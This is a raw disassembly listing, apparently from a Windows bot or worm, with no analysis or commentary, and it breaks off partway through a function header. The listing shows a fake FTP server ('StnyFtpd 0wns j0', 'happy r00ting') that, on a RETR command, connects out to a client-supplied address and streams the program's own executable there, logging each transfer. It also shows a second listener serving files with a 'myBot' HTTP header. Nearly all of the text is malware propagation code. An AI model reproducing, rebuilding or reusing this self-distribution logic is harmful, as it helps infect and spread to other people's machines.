mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_2C]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_24]
push eax
push 8004667Eh
push edi
call ds:dword_4271F8 ; ioctlsocket
mov ax, word ptr dword_4CB390
and [ebp+var_48], 0
push eax
mov [ebp+var_4C], 2
call dword_4CB654 ; htons
mov [ebp+var_4A], ax
lea eax, [ebp+var_4C]
push 10h
push eax
push edi
call ds:dword_4271FC ; bind
test eax, eax
jge short loc_40EA58
mov eax, ebx
jmp loc_40EFB8
; ---------------------------------------------------------------------------
loc_40EA58: ; CODE XREF: sub_40E992+BDj
push 0Ah
push edi
call ds:dword_427200 ; listen
mov [ebp+var_22C], ebx
mov ebx, ds:dword_427224
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40EA76: ; CODE XREF: sub_40E992+11Dj
; sub_40E992+61Ej
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_427228 ; select
cmp eax, 0FFFFFFFFh
jz loc_40EFB5
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40EA76
loc_40EAB1: ; CODE XREF: sub_40E992+618j
xor esi, esi
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 64h ; Size
lea eax, [ebp+Str1]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426756 ; __WSAFDIsSet
test eax, eax
jz loc_40EFA3
cmp edi, [ebp+var_8]
jnz short loc_40EB68
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call ds:dword_427204 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40EFA3
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40EB32
lea edx, [ebp+var_228]
loc_40EB22: ; CODE XREF: sub_40E992+19Ej
cmp [edx], eax
jz short loc_40EB32
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40EB22
loc_40EB32: ; CODE XREF: sub_40E992+188j
; sub_40E992+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40EB50
cmp [ebp+var_22C], 40h
jnb short loc_40EB50
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40EB50: ; CODE XREF: sub_40E992+1A6j
; sub_40E992+1AFj
cmp eax, [ebp+var_4]
jle short loc_40EB58
mov [ebp+var_4], eax
loc_40EB58: ; CODE XREF: sub_40E992+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40EFA3
; ---------------------------------------------------------------------------
loc_40EB68: ; CODE XREF: sub_40E992+15Aj
push esi
lea eax, [ebp+Dst]
push 64h
push eax
push edi
call ds:dword_427218 ; recv
test eax, eax
jg short loc_40EBCF
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40EBC3
lea eax, [ebp+var_228]
loc_40EB8F: ; CODE XREF: sub_40E992+207j
cmp [eax], edi
jz short loc_40EB9D
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40EB8F
jmp short loc_40EBC3
; ---------------------------------------------------------------------------
loc_40EB9D: ; CODE XREF: sub_40E992+1FFj
dec edx
cmp ecx, edx
jnb short loc_40EBBD
lea eax, [ebp+ecx*4+var_228]
loc_40EBA9: ; CODE XREF: sub_40E992+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40EBA9
loc_40EBBD: ; CODE XREF: sub_40E992+20Ej
dec [ebp+var_22C]
loc_40EBC3: ; CODE XREF: sub_40E992+1F5j
; sub_40E992+209j
push edi
call ds:dword_42721C ; closesocket
jmp loc_40EFA3
; ---------------------------------------------------------------------------
loc_40EBCF: ; CODE XREF: sub_40E992+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+Dst]
push offset aSS_3 ; "%s %s"
push eax ; Src
call _sscanf
lea eax, [ebp+Str1]
push offset aUser_1 ; "USER"
push eax ; Str1
call _strcmp
add esp, 18h
test eax, eax
jnz short loc_40EC13
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40EC95
; ---------------------------------------------------------------------------
loc_40EC13: ; CODE XREF: sub_40E992+272j
lea eax, [ebp+Str1]
push offset aPass ; "PASS"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC34
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp short loc_40EC95
; ---------------------------------------------------------------------------
loc_40EC34: ; CODE XREF: sub_40E992+296j
lea eax, [ebp+Str1]
push offset aSyst ; "SYST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC55
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp short loc_40EC95
; ---------------------------------------------------------------------------
loc_40EC55: ; CODE XREF: sub_40E992+2B7j
lea eax, [ebp+Str1]
push offset aRest ; "REST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC76
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp short loc_40EC95
; ---------------------------------------------------------------------------
loc_40EC76: ; CODE XREF: sub_40E992+2D8j
lea eax, [ebp+Str1]
push offset off_433E54 ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC9B
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
loc_40EC95: ; CODE XREF: sub_40E992+27Cj
; sub_40E992+2A0j ...
push edi
jmp loc_40EF8C
; ---------------------------------------------------------------------------
loc_40EC9B: ; CODE XREF: sub_40E992+2F9j
mov edi, offset aType ; "TYPE"
lea eax, [ebp+Str1]
push edi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40ECD7
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40ECD7
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40EF89
; ---------------------------------------------------------------------------
loc_40ECD7: ; CODE XREF: sub_40E992+31Fj
; sub_40E992+336j
lea eax, [ebp+Str1]
push edi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40ED0E
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40ED0E
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40EF89
; ---------------------------------------------------------------------------
loc_40ED0E: ; CODE XREF: sub_40E992+356j
; sub_40E992+36Dj
lea eax, [ebp+Str1]
push offset aPasv ; "PASV"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40ED59
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+Str]
rep movsd
push eax
lea eax, [ebp+Str]
push eax ; Str
movsw
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
loc_40ED4C: ; CODE XREF: sub_40E992+406j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
jmp loc_40EF8E
; ---------------------------------------------------------------------------
loc_40ED59: ; CODE XREF: sub_40E992+391j
lea eax, [ebp+Str1]
push offset aList_0 ; "LIST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40ED9A
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax ; Str
movsb
call _strlen
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40ED4C
; ---------------------------------------------------------------------------
loc_40ED9A: ; CODE XREF: sub_40E992+3DCj
lea eax, [ebp+Str1]
push offset aPort ; "PORT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40EE6B
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax ; Src
call _sscanf
lea eax, [ebp+Dest]
push eax ; Str
call _atoi
mov edi, eax
lea eax, [ebp+var_2D4]
push eax ; Str
call _atoi
mov [ebp+var_C], eax
push 32h ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
add esp, 34h
lea eax, [ebp+Dest]
push [ebp+var_C]
push edi
push offset aXX ; "%x%x\n"
push eax ; Dest
call _sprintf
push 10h ; Radix
lea eax, [ebp+Dest]
push esi ; EndPtr
push eax ; Str
call _strtoul
add esp, 1Ch
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax ; Dest
call _sprintf
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40EF89
; ---------------------------------------------------------------------------
loc_40EE6B: ; CODE XREF: sub_40E992+41Dj
lea eax, [ebp+Str1]
push offset aRetr ; "RETR"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40EF6A
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push [ebp+arg_0]
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
call sub_40EFBF
pop ecx
cmp eax, 1
pop ecx
jnz loc_40EF60
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferSta ; "ftp transfer started to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40EEED
push esi ; int
lea eax, [ebp+var_8E0]
push [ebp+var_448] ; int
push eax ; int
lea eax, [ebp+var_4C8]
push eax ; Str
push [ebp+var_6E0] ; int
call sub_409A73
add esp, 14h
loc_40EEED: ; CODE XREF: sub_40E992+536j
call sub_40F03C
cmp eax, 1
jnz loc_40EF8E
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push [ebp+arg_0]
call ebx ; send
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferCom ; "ftp transfer complete to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40EF4B
push esi ; int
lea eax, [ebp+var_8E0]
push [ebp+var_448] ; int
push eax ; int
lea eax, [ebp+var_4C8]
push eax ; Str
push [ebp+var_6E0] ; int
call sub_409A73
add esp, 14h
loc_40EF4B: ; CODE XREF: sub_40E992+594j
lea eax, [ebp+var_8E0]
push eax
call sub_4151AD
inc dword_4CE160
pop ecx
jmp short loc_40EF8E
; ---------------------------------------------------------------------------
loc_40EF60: ; CODE XREF: sub_40E992+512j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40EF89
; ---------------------------------------------------------------------------
loc_40EF6A: ; CODE XREF: sub_40E992+4EEj
lea eax, [ebp+Str1]
push offset aQuit ; "QUIT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40EF8E
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40EF89: ; CODE XREF: sub_40E992+340j
; sub_40E992+377j ...
push [ebp+arg_0]
loc_40EF8C: ; CODE XREF: sub_40E992+304j
call ebx ; send
loc_40EF8E: ; CODE XREF: sub_40E992+3C2j
; sub_40E992+563j ...
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
mov edi, [ebp+arg_0]
add esp, 0Ch
loc_40EFA3: ; CODE XREF: sub_40E992+151j
; sub_40E992+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40EAB1
jmp loc_40EA76
; ---------------------------------------------------------------------------
loc_40EFB5: ; CODE XREF: sub_40E992+10Fj
push 1
pop eax
loc_40EFB8: ; CODE XREF: sub_40E992+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40E992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EFBF proc near ; CODE XREF: sub_40E992+508p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4271F0 ; WSAStartup
push 0
push 1
push 2
call ds:dword_427220 ; socket
push [ebp+arg_0]
mov dword_4CE3A8, eax
mov [ebp+var_10], 2
call ds:dword_42720C ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_427210 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4CE3A8
call ds:dword_427214 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F037
push dword_4CE3A8
call ds:dword_42721C ; closesocket
call ds:dword_4271EC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F037: ; CODE XREF: sub_40EFBF+60j
push 1
pop eax
leave
retn
sub_40EFBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F03C proc near ; CODE XREF: sub_40E992:loc_40EEEDp
DstBuf = byte ptr -504h
Filename = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+Filename]
push 104h
push eax
push 0
call ds:dword_427070 ; GetModuleFileNameA
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D3
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B7
push edi
mov edi, 400h
loc_40F07F: ; CODE XREF: sub_40F03C+78j
push esi ; File
push 1 ; Count
lea eax, [ebp+DstBuf]
push edi ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
lea eax, [ebp+DstBuf]
push 0
push edi
push eax
push dword_4CE3A8
call ds:dword_427224 ; send
push 1
call ds:dword_427078 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40F07F
pop edi
loc_40F0B7: ; CODE XREF: sub_40F03C+3Bj
push esi ; File
call _fclose
pop ecx
push dword_4CE3A8
call ds:dword_42721C ; closesocket
call ds:dword_4271EC ; WSACleanup
push 1
pop eax
loc_40F0D3: ; CODE XREF: sub_40F03C+35j
pop esi
leave
retn
sub_40F03C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D6 proc near ; DATA XREF: sub_401ACD+2284o
; sub_40BACE+475o
Str = byte ptr -28F0h
Str1 = byte ptr -18F0h
Dest = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_14], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_25C]
call dword_4CB654 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CB6D4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E59C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CB680 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
push 7FFFFFFFh
push edi
call dword_4CB67C ; listen
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB6F0 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AD: ; CODE XREF: sub_40F0D6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB63C ; select
cmp eax, 0FFFFFFFFh
jz loc_40F4BC
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E3: ; CODE XREF: sub_40F0D6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB540 ; __WSAFDIsSet
test eax, eax
jz loc_40F4A7
cmp esi, [ebp+var_C]
jnz short loc_40F265
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB6E8 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F4A7
xor ecx, ecx
test ebx, ebx
jbe short loc_40F237
lea edx, [ebp+var_134]
loc_40F22B: ; CODE XREF: sub_40F0D6+15Fj
cmp [edx], eax
jz short loc_40F237
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22B
loc_40F237: ; CODE XREF: sub_40F0D6+14Dj
; sub_40F0D6+157j
cmp ecx, ebx
jnz short loc_40F254
cmp ebx, 40h
jnb short loc_40F254
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F254: ; CODE XREF: sub_40F0D6+163j
; sub_40F0D6+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A7
mov [ebp+var_8], eax
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F265: ; CODE XREF: sub_40F0D6+126j
mov edi, 1000h
lea eax, [ebp+Str]
push edi ; Size
push 0 ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+Str]
push 0
push edi
push eax
push esi
call dword_4CB66C ; recv
test eax, eax
jg short loc_40F2F8
push esi
call dword_4CB6EC ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A7
lea eax, [ebp+var_134]
loc_40F2B7: ; CODE XREF: sub_40F0D6+1EBj
cmp [eax], esi
jz short loc_40F2C8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B7
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F2C8: ; CODE XREF: sub_40F0D6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EC
lea eax, [ebp+ecx*4+var_134]
loc_40F2D6: ; CODE XREF: sub_40F0D6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D6
loc_40F2EC: ; CODE XREF: sub_40F0D6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F2F8: ; CODE XREF: sub_40F0D6+1C8j
xor esi, esi
push 104h ; Size
lea eax, [ebp+var_23C]
push esi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Str]
mov [ebp+arg_0], esi
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jbe loc_40F4A7
loc_40F326: ; CODE XREF: sub_40F0D6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+Str]
cmp al, 0Ah
mov [ebp+esi+Str1], al
jnz loc_40F3CB
mov esi, offset aGet ; "GET "
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40F39F
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 5
pop ecx
jbe short loc_40F39F
mov eax, offset asc_42D124 ; " "
push eax ; Delim
push eax ; SubStr
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strtok
push eax ; Source
lea eax, [ebp+var_23C]
push eax ; Dest
call _strcpy
add esp, 10h
jmp short loc_40F3B6
; ---------------------------------------------------------------------------
loc_40F39F: ; CODE XREF: sub_40F0D6+27Fj
; sub_40F0D6+291j
lea eax, [ebp+Str1]
push offset asc_433F14 ; "\r\n"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F3EA
loc_40F3B6: ; CODE XREF: sub_40F0D6+2C7j
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CB: ; CODE XREF: sub_40F0D6+263j
inc [ebp+arg_0]
lea eax, [ebp+Str]
push eax ; Str
inc esi
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F326
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F3EA: ; CODE XREF: sub_40F0D6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F434
lea eax, [ebp+var_134]
loc_40F3F6: ; CODE XREF: sub_40F0D6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F407
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F6
jmp short loc_40F437
; ---------------------------------------------------------------------------
loc_40F407: ; CODE XREF: sub_40F0D6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42B
lea eax, [ebp+ecx*4+var_134]
loc_40F415: ; CODE XREF: sub_40F0D6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F415
loc_40F42B: ; CODE XREF: sub_40F0D6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F437
; ---------------------------------------------------------------------------
loc_40F434: ; CODE XREF: sub_40F0D6+318j
mov esi, [ebp+var_4]
loc_40F437: ; CODE XREF: sub_40F0D6+32Fj
; sub_40F0D6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F4A0
lea eax, [ebp+var_360]
push eax ; Str
call _strlen
mov edi, eax
lea eax, [ebp+var_23C]
push eax ; Str
call _strlen
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F4A0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB6F0 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B4
add esp, 14h
jmp short loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F4A0: ; CODE XREF: sub_40F0D6+369j
; sub_40F0D6+38Fj
push esi
call dword_4CB6EC ; closesocket
loc_40F4A7: ; CODE XREF: sub_40F0D6+11Dj
; sub_40F0D6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E3
jmp loc_40F1AD
; ---------------------------------------------------------------------------
loc_40F4BC: ; CODE XREF: sub_40F0D6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C1: ; CODE XREF: sub_40F0D6+6Aj
; sub_40F0D6+92j ...
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_433EEC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F507
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_250] ; int
push eax ; int
lea eax, [ebp+var_5E8]
push eax ; Str
push [ebp+var_5EC] ; int
call sub_409A73
add esp, 14h
loc_40F507: ; CODE XREF: sub_40F0D6+40Cj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_254]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
pop ebx
sub_40F0D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F531 proc near ; DATA XREF: sub_40F6B4+24Do
Str = byte ptr -1654h
Source = byte ptr -654h
Dest = byte ptr -550h
var_44C = dword ptr -44Ch
Format = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F597
push offset aTextHtml ; "text/html"
jmp short loc_40F59C
; ---------------------------------------------------------------------------
loc_40F597: ; CODE XREF: sub_40F531+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59C: ; CODE XREF: sub_40F531+64j
lea eax, [ebp+var_9C]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_427104 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_427100 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F615
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 24h
jmp short loc_40F636
; ---------------------------------------------------------------------------
loc_40F615: ; CODE XREF: sub_40F531+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 28h
loc_40F636: ; CODE XREF: sub_40F531+E2j
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_44C]
call dword_4CB6A4 ; send
cmp [ebp+var_A4], edi
jnz short loc_40F676
lea eax, [ebp+Dest]
push eax
push [ebp+var_44C]
call sub_40FFF1
pop ecx
pop ecx
jmp short loc_40F693
; ---------------------------------------------------------------------------
loc_40F676: ; CODE XREF: sub_40F531+12Dj
lea eax, [ebp+Source]
push eax ; Source
push edi ; int
push [ebp+var_44C] ; int
lea eax, [ebp+Dest]
push eax ; Str
call sub_40F96B
add esp, 10h
loc_40F693: ; CODE XREF: sub_40F531+143j
push [ebp+var_44C]
call dword_4CB6EC ; closesocket
push [ebp+var_B4]
call sub_40B413
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_40F531 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B4 proc near ; CODE XREF: sub_40F0D6+3C0p
Source = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Str = byte ptr -314h
var_211 = byte ptr -211h
Dst = byte ptr -210h
Dest = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
